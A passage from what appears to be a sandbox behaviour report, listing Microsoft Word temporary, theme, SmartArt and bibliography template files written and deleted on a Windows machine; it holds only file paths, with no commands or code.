  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A2.tmp\\Content.inf",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A1.tmp\\ConvergingText.glox",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20E5.tmp\\InterconnectedBlockProcess.glox",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A1.tmp\\Content.inf",
  1022. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\cab21B1.tmp",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20E5.tmp\\Content.inf",
  1025. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox",
  1026. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\cab221F.tmp",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2081.tmp\\Content.inf",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab226F.tmp",
  1030. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar227F.tmp",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD22DE.tmp\\gb.xsl",
  1033. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216[[fn=apasixtheditionofficeonline]].xsl",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\cab23EA.tmp",
  1035. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox",
  1036. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220[[fn=gosttitle]].xsl",
  1037. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221[[fn=harvardanglia2008officeonline]].xsl",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23EB.tmp\\content.inf",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD22DE.tmp\\Content.inf",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\cab24A9.tmp",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23D9.tmp\\BracketList.glox",
  1042. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226[[fn=turabian]].xsl",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2479.tmp\\Basis.thmx",
  1044. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox",
  1045. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2469.tmp\\content.inf",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2528.tmp",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23D9.tmp\\Content.inf",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2469.tmp\\Dividend.thmx",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23EB.tmp\\Metropolitan.thmx",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD24D9.tmp\\mlaseventheditionofficeonline.xsl",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2578.tmp\\content.inf",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2568.tmp\\Headlines.thmx",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2617.tmp\\TabList.glox",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2578.tmp\\View.thmx",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2607.tmp\\gostname.xsl",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD25F6.tmp\\content.inf",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD24D9.tmp\\Content.inf",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2617.tmp\\Content.inf",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD25F6.tmp\\Frame.thmx",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218[[fn=gb]].xsl",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2712.tmp",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2479.tmp\\content.inf",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2607.tmp\\Content.inf",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2723.tmp\\Berlin.thmx",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2568.tmp\\Content.inf",
  1067. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox",
  1068. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD289B.tmp\\Badge.thmx",
  1070. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox",
  1071. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225[[fn=mlaseventheditionofficeonline]].xsl",
  1072. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx",
  1073. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2723.tmp\\content.inf",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2A42.tmp",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD289B.tmp\\Content.inf",
  1078. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx",
  1079. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219[[fn=gostname]].xsl",
  1080. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx",
  1081. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2AC0.tmp\\content.inf",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2AC0.tmp\\Quotable.thmx",
  1084. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2B1F.tmp\\Crop.thmx",
  1086. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2B8D.tmp",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2B1F.tmp\\Content.inf",
  1089. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2BFB.tmp\\Circuit.thmx",
  1090. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2C3B.tmp",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2CD8.tmp\\content.inf",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2CD8.tmp\\Droplet.thmx",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2BFB.tmp\\content.inf",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2DA4.tmp",
  1097. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2DA5.tmp",
  1098. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2E23.tmp\\content.inf",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2E23.tmp\\Savon.thmx",
  1102. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx",
  1103. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2F7C.tmp",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab2FFA.tmp",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar2FFB.tmp",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab302B.tmp",
  1107. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar302C.tmp",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD305C.tmp\\Feathered.thmx",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD305C.tmp\\Content.inf",
  1110. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx",
  1111. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab33D7.tmp",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar33E8.tmp",
  1113. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3418.tmp\\ThemePictureGrid.glox",
  1114. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3418.tmp\\Content.inf",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3486.tmp",
  1116. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox",
  1117. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3487.tmp",
  1118. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD34B7.tmp\\Equations.dotx",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD34B7.tmp\\Content.inf",
  1120. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907[[fn=Equations]].dotx",
  1121. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3535.tmp\\VaryingWidthList.glox",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3535.tmp\\Content.inf",
  1123. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox",
  1124. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD35B3.tmp\\chicago.xsl",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD35B3.tmp\\Content.inf",
  1126. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217[[fn=chicago]].xsl",
  1127. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3806.tmp",
  1128. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3807.tmp",
  1129. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3837.tmp\\iso690.xsl",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3837.tmp\\Content.inf",
  1131. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223[[fn=iso690]].xsl",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\cab38C4.tmp",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3942.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab39D0.tmp",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar39D1.tmp",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A20.tmp\\content.inf",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A20.tmp\\Vapor_Trail.thmx",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A50.tmp\\Insight design set.dotx",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3A80.tmp",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3A50.tmp\\Content.inf",
  1141. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3BB9.tmp",
  1143. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159[[fn=Insight]].dotx",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3BBA.tmp",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C19.tmp\\content.inf",
  1146. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C19.tmp\\Damask.thmx",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3CC6.tmp",
  1148. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3D54.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3D55.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3D85.tmp\\content.inf",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3D85.tmp\\Slate.thmx",
  1153. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4C2C.tmp",
  1155. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1156. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{7E75D94E-67CA-466F-93A8-2286BE8605CE}.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab4CF8.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar4CF9.tmp",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D38.tmp\\content.inf",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D38.tmp\\Main_Event.thmx",
  1161. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx"
  1162. ]
  1163.  
  1164. [*] Deleted Files: [
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\CabEB3E.tmp",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\TarEB3F.tmp",
  1167. "C:\\Users\\user\\Application Data\\Microsoft\\Forms\\WINWORD.box",
  1168. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1169. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1170. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03090434[[fn=Wood Type]].eftx",
  1171. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03090434[[fn=Wood Type]].xml",
  1172. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03090434[[fn=Wood Type]].xml",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab18AB.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar18AC.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD195E.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1990.tmp",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD196F.tmp",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ABF.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1B9C.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD196F.tmp\\iso690nmerical.xsl",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD195E.tmp\\pictureorgchart.glox",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1BFB.tmp",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\cab13B8.tmp",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\cab188B.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1C6C.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1990.tmp\\Element design set.dotx",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1477.tmp",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab1C1B.tmp",
  1189. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03090430[[fn=Banded]].eftx",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar1C3B.tmp",
  1191. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03090430[[fn=Banded]].xml",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1CFA.tmp",
  1193. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03090430[[fn=Banded]].xml",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D29.tmp",
  1195. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457496[[fn=Parallax]].eftx",
  1196. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457496[[fn=Parallax]].xml",
  1197. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457496[[fn=Parallax]].xml",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D59.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D5A.tmp",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D6B.tmp",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D8B.tmp",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DAB.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E0B.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E89.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ECA.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ABF.tmp\\sist02.xsl",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18FD.tmp",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1B9C.tmp\\ThemePictureAccent.glox",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18FE.tmp",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1BFB.tmp\\ieee2006officeonline.xsl",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1CFA.tmp\\HexagonRadial.glox",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18FF.tmp",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1A0F.tmp",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1C6C.tmp\\RadialPictureList.glox",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\cab18EC.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A1.tmp",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2081.tmp",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A2.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20E5.tmp",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D6B.tmp\\rings.glox",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D8B.tmp\\TabbedArc.glox",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1A3F.tmp",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1A8E.tmp",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab20B3.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D59.tmp\\chevronaccent.glox",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar20B4.tmp",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DAB.tmp\\ThemePictureAlternatingAccent.glox",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\cab165D.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\cab19FF.tmp",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E89.tmp\\architecture.glox",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1980.tmp",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD22DE.tmp",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D29.tmp\\APASixthEditionOfficeOnline.xsl",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab226F.tmp",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar227F.tmp",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23EB.tmp",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A1.tmp\\ConvergingText.glox",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1E0B.tmp\\gosttitle.xsl",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23D9.tmp",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1389.tmp",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1C3C.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1ECA.tmp\\harvardanglia2008officeonline.xsl",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2469.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2479.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1AAE.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1D5A.tmp\\turabian.xsl",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20E5.tmp\\InterconnectedBlockProcess.glox",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD20A2.tmp\\PictureFrame.glox",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD24D9.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2568.tmp",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\cab167F.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2578.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\cab173D.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2617.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2607.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\cab180D.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD25F6.tmp",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD22DE.tmp\\gb.xsl",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2723.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\cab13C9.tmp",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23D9.tmp\\BracketList.glox",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\cab17DC.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD23EB.tmp\\Metropolitan.thmx",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1B8B.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2617.tmp\\TabList.glox",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\cab17DD.tmp",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD24D9.tmp\\mlaseventheditionofficeonline.xsl",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1E0A.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2578.tmp\\View.thmx",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1E9A.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2081.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2469.tmp\\Dividend.thmx",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2479.tmp\\Basis.thmx",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\cab20C5.tmp",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\cab193E.tmp",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2607.tmp\\gostname.xsl",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1FC5.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\cab162D.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2568.tmp\\Headlines.thmx",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD25F6.tmp\\Frame.thmx",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\cab21B1.tmp",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2AC0.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\cab221F.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2B1F.tmp",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD289B.tmp\\Badge.thmx",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\cab24A9.tmp",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2723.tmp\\Berlin.thmx",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\cab23EA.tmp",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2BFB.tmp",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2B1F.tmp\\Crop.thmx",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2712.tmp",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2CD8.tmp",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2AC0.tmp\\Quotable.thmx",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\cab2528.tmp",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD2BFB.tmp\\Circuit.thmx",
